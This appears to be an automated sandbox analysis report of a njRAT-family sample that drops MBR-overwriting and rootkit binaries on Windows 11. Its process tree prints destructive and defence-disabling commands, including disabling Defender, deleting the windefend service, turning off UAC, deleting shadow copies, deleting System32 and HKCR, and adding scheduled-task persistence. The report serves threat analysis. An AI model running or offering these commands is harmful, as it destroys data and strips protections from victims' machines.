Analysis
- user interaction
yes - max time kernel
100s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
16/09/2026, 08:37
General
- Target Payload.exe
- Size 55KB
- Sample260916-kh6cssss7q
- SHA256 6c1a15aa4e42400c325a364ea2d1e4c91a47c6995ee81f15154caf664c5660e3
Malware Config
Signatures
- Family: njRAT/Bladabindi
Widely used RAT written in .NET.
- UAC bypass 3 TTPs 1 IoCs
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes dropped EXE 7 IoCs
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Drops file in System32 directory 2 IoCs
- Launches sc.exe 3 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 8 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 15 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Delays execution with timeout.exe 1 IoCs
- Modifies Internet Explorer settings 1 TTPs 4 IoCs
- Modifies registry key 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 58 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"2⤵
-
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
-
C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"1⤵
-
C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-341647ea-1792-489b-928e-c8274dfc3bf9 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-2db97905-4cad-4d9b-b83e-fe4144005468 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-ce0ff228-c542-49a3-b00f-30b766eabe36 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-642ff949-d96b-425f-9610-d7bb88c378ff -LifetimeId:252f49b8-b23d-4cf9-a7c7-941fe64f2d22 -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
- Drops file in System32 directory
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS3⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Payload.exe"C:\Users\Admin\AppData\Local\Temp\Payload.exe"4⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c powershell Set-MpPreference -DisableRealtimeMonitoring $true5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true6⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc query windefend5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc query windefend6⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc stop windefend5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc stop windefend6⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc delete windefend5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc delete windefend6⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exereg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f6⤵
- UAC bypass
- System Location Discovery: System Language Discovery
- Modifies registry key
-
-
-
C:\Users\Admin\AppData\Local\Temp\2a89c9f5cf3c4ddb88eaee6cfe121a48.exe"C:\Users\Admin\AppData\Local\Temp\2a89c9f5cf3c4ddb88eaee6cfe121a48.exe"5⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\b6ab30a7e150426686f5044485f1d7e4.exe"C:\Users\Admin\AppData\Local\Temp\b6ab30a7e150426686f5044485f1d7e4.exe"5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\MasonMBR-SLEEP.exe"C:\Users\Admin\AppData\Local\Temp\MasonMBR-SLEEP.exe"6⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
C:\Users\Admin\AppData\Local\Temp\MasonGDI.exe"C:\Users\Admin\AppData\Local\Temp\MasonGDI.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /F /TN "MasonMBR" /SC ONLOGON /TR "C:\Users\Admin\AppData\Local\Temp\\MasonMBR.exe" /RL HIGHEST6⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB1DC.tmp.bat""6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
C:\Windows\system32\timeout.exetimeout 37⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\6e4ed10b748745cbb21dab3720be2708.exe"C:\Users\Admin\AppData\Local\Temp\6e4ed10b748745cbb21dab3720be2708.exe"5⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\03f885c3075f4da498058d0d5575030c.exe"C:\Users\Admin\AppData\Local\Temp\03f885c3075f4da498058d0d5575030c.exe"5⤵
- Executes dropped EXE
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /F /TN "MasonMBR" /SC ONLOGON /TR "C:\Users\Admin\AppData\Local\Temp\\MasonMBR.exe" /RL HIGHEST6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\2c25f3a1dbce4bba86238ab84b6d259a.COM"C:\Users\Admin\AppData\Local\Temp\2c25f3a1dbce4bba86238ab84b6d259a.COM"5⤵
-
C:\Users\Admin\AppData\Local\Temp\MBR2.exe"C:\Users\Admin\AppData\Local\Temp\MBR2.exe"6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\TROLL5.exe"C:\Users\Admin\AppData\Local\Temp\TROLL5.exe"6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\TROLL2.exe"C:\Users\Admin\AppData\Local\Temp\TROLL2.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\244bf8abab00482983e4c46d056b96b0.exe"C:\Users\Admin\AppData\Local\Temp\244bf8abab00482983e4c46d056b96b0.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C vssadmin delete shadows /for=C: /all6⤵
- Executes a command shell one-liner
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c del /s /q "C:\Windows\System32"6⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k reg delete HKCR /f6⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\reg.exereg delete HKCR /f7⤵
-
-
-
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
- Modifies Internet Explorer settings
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004FC 0x00000000000005042⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService1⤵
-
C:\Windows\system32\ctfmon.exe/QuitInfo:0000000000000268;000000000000026C;2⤵
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc1⤵
-
C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵
-
C:\Windows\System32\SecurityHealthSystray.exe"C:\Windows\System32\SecurityHealthSystray.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
-
C:\Windows\System32\smartscreen.exeC:\Windows\System32\smartscreen.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\Payload.exe"C:\Users\Admin\AppData\Local\Temp\Payload.exe" ..1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
3Disable or Modify Tools
2Indicator Removal
1File Deletion
1Modify Registry
4Pre-OS Boot
1Bootkit
1Replay Monitor
Loading Replay Monitor...
Downloads
03f885c3075f4da498058d0d5575030c.exe
244bf8abab00482983e4c46d056b96b0.exe
2a89c9f5cf3c4ddb88eaee6cfe121a48.exe
2c25f3a1dbce4bba86238ab84b6d259a.COM
6e4ed10b748745cbb21dab3720be2708.exe
MBR2.exe
MasonGDI.exe
MasonMBR-SLEEP.exe
MasonMBR.exe
MasonRootkit.exe
TROLL2.exe
TROLL5.exe
b6ab30a7e150426686f5044485f1d7e4.exe
tmp782F.tmp
tmp78BD.tmp
tmp795A.tmp
tmp79D8.tmp
tmp7A56.tmp
tmpB1DC.tmp.bat
dberr.txt
memory/600-46-0x0000000005220000-0x00000000052B2000-memory.dmp
memory/600-45-0x00000000007C0000-0x000000000080E000-memory.dmp
memory/748-96-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/748-92-0x000001E82F780000-0x000001E82F7A5000-memory.dmp
memory/748-95-0x000001E82F7B0000-0x000001E82F7DB000-memory.dmp
memory/964-98-0x00000215ADF20000-0x00000215ADF4B000-memory.dmp
memory/964-99-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/972-102-0x000001F0E8970000-0x000001F0E899B000-memory.dmp
memory/972-104-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/1012-168-0x000001DA53D30000-0x000001DA53D5B000-memory.dmp
memory/1012-171-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/1028-183-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/1028-182-0x0000024891CD0000-0x0000024891CFB000-memory.dmp
memory/1104-185-0x0000025687E10000-0x0000025687E3B000-memory.dmp
memory/1104-186-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/1136-188-0x00000167D4C20000-0x00000167D4C4B000-memory.dmp
memory/1136-189-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/1164-112-0x00000171CA9D0000-0x00000171CA9FB000-memory.dmp
memory/1164-113-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/1228-192-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/1228-191-0x000001DDA0A70000-0x000001DDA0A9B000-memory.dmp
memory/1336-194-0x00000206ADE90000-0x00000206ADEBB000-memory.dmp
memory/1336-195-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/1508-119-0x000001C8C0FB0000-0x000001C8C0FDB000-memory.dmp
memory/1508-120-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/1520-197-0x0000017B9B260000-0x0000017B9B28B000-memory.dmp
memory/1520-198-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/1568-200-0x000002152CC00000-0x000002152CC2B000-memory.dmp
memory/1568-201-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/1636-90-0x00007FFA8B980000-0x00007FFA8BBE3000-memory.dmp
memory/1636-91-0x00007FFA8A950000-0x00007FFA8AA17000-memory.dmp
memory/1656-203-0x0000017603AF0000-0x0000017603B1B000-memory.dmp
memory/1656-204-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/1684-207-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/1684-206-0x0000022371DF0000-0x0000022371E1B000-memory.dmp
memory/1756-209-0x00000200B7CB0000-0x00000200B7CDB000-memory.dmp
memory/1756-210-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/1932-214-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/1932-212-0x000001DFA4730000-0x000001DFA475B000-memory.dmp
memory/2000-213-0x000002569D550000-0x000002569D57B000-memory.dmp
memory/2000-216-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/2016-219-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/2016-218-0x0000011E59D90000-0x0000011E59DBB000-memory.dmp
memory/2056-222-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/2056-221-0x0000023FC65F0000-0x0000023FC661B000-memory.dmp
memory/2132-224-0x0000023A84A40000-0x0000023A84A6B000-memory.dmp
memory/2132-225-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/2200-357-0x0000000000240000-0x0000000000256000-memory.dmp
memory/2228-228-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/2228-227-0x0000019FA3E10000-0x0000019FA3E3B000-memory.dmp
memory/2288-175-0x00000000006B0000-0x00000000006DB000-memory.dmp
memory/2288-177-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/2324-231-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/2324-230-0x000002547DFA0000-0x000002547DFCB000-memory.dmp
memory/2344-481-0x00000000007B0000-0x000000000089C000-memory.dmp
memory/2344-482-0x000000001B790000-0x000000001B874000-memory.dmp
memory/2372-233-0x0000018F07810000-0x0000018F0783B000-memory.dmp
memory/2372-234-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/2476-505-0x0000000000AE0000-0x0000000000B1A000-memory.dmp
memory/2500-236-0x000001EE90FA0000-0x000001EE90FCB000-memory.dmp
memory/2500-237-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/2536-240-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/2536-239-0x0000028507BB0000-0x0000028507BDB000-memory.dmp
memory/2632-243-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/2632-242-0x000001DCD5930000-0x000001DCD595B000-memory.dmp
memory/2648-245-0x00000198B03D0000-0x00000198B03FB000-memory.dmp
memory/2648-246-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/2660-248-0x0000021035B80000-0x0000021035BAB000-memory.dmp
memory/3012-80-0x0000000000230000-0x0000000000246000-memory.dmp
memory/3204-526-0x0000000004CE0000-0x0000000004CEA000-memory.dmp
memory/3204-525-0x00000000052C0000-0x000000000587A000-memory.dmp
memory/3204-519-0x0000000000190000-0x0000000000248000-memory.dmp
memory/3356-538-0x0000000000B40000-0x0000000000B5A000-memory.dmp
memory/3792-445-0x0000000002570000-0x00000000025A8000-memory.dmp
memory/3792-444-0x00000000003A0000-0x0000000000400000-memory.dmp
memory/4940-15-0x0000000075262000-0x0000000075264000-memory.dmp
memory/4940-5-0x00000000012A0000-0x00000000012B0000-memory.dmp
memory/4940-0-0x00000000012A0000-0x00000000012B0000-memory.dmp
memory/4940-1-0x0000000075262000-0x0000000075264000-memory.dmp
memory/5232-13-0x0000000005990000-0x0000000005CEB000-memory.dmp
memory/5232-34-0x0000000072F20000-0x00000000736DC000-memory.dmp
memory/5232-24-0x0000000072F20000-0x00000000736DC000-memory.dmp
memory/5232-22-0x0000000006490000-0x00000000064B0000-memory.dmp
memory/5232-19-0x000000006F8D0000-0x000000006F91C000-memory.dmp
memory/5232-18-0x0000000007090000-0x00000000070C6000-memory.dmp
memory/5232-17-0x0000000072F20000-0x00000000736DC000-memory.dmp
memory/5232-16-0x0000000005F10000-0x0000000005F5C000-memory.dmp
memory/5232-27-0x00000000071D0000-0x00000000071EA000-memory.dmp
memory/5232-2-0x0000000072F32000-0x0000000072F33000-memory.dmp
memory/5232-3-0x0000000002650000-0x0000000002686000-memory.dmp
memory/5232-28-0x0000000007240000-0x000000000724A000-memory.dmp
memory/5232-14-0x0000000005E60000-0x0000000005E7E000-memory.dmp
memory/5232-26-0x0000000007810000-0x0000000007E8C000-memory.dmp
memory/5232-23-0x0000000072F20000-0x00000000736DC000-memory.dmp
memory/5232-10-0x0000000005920000-0x0000000005986000-memory.dmp
memory/5232-31-0x0000000072F20000-0x00000000736DC000-memory.dmp
memory/5232-9-0x00000000058B0000-0x0000000005916000-memory.dmp
memory/5232-30-0x0000000072F32000-0x0000000072F33000-memory.dmp
memory/5232-8-0x0000000005080000-0x00000000050A2000-memory.dmp
memory/5232-7-0x00000000051F0000-0x000000000583A000-memory.dmp
memory/5232-32-0x0000000072F20000-0x00000000736DC000-memory.dmp
memory/5232-29-0x0000000007440000-0x00000000074D6000-memory.dmp
memory/5232-4-0x0000000072F20000-0x00000000736DC000-memory.dmp
memory/5232-6-0x0000000072F20000-0x00000000736DC000-memory.dmp
memory/5232-25-0x00000000070D0000-0x0000000007173000-memory.dmp
memory/5396-64-0x0000000002D60000-0x0000000002DA2000-memory.dmp
memory/5396-63-0x0000000000C90000-0x0000000000D1C000-memory.dmp
memory/5852-162-0x00007FFA4BAC0000-0x00007FFA4BAD0000-memory.dmp
memory/5852-161-0x0000020140990000-0x00000201409BB000-memory.dmp
memory/6012-422-0x00000000007C0000-0x00000000007CC000-memory.dmp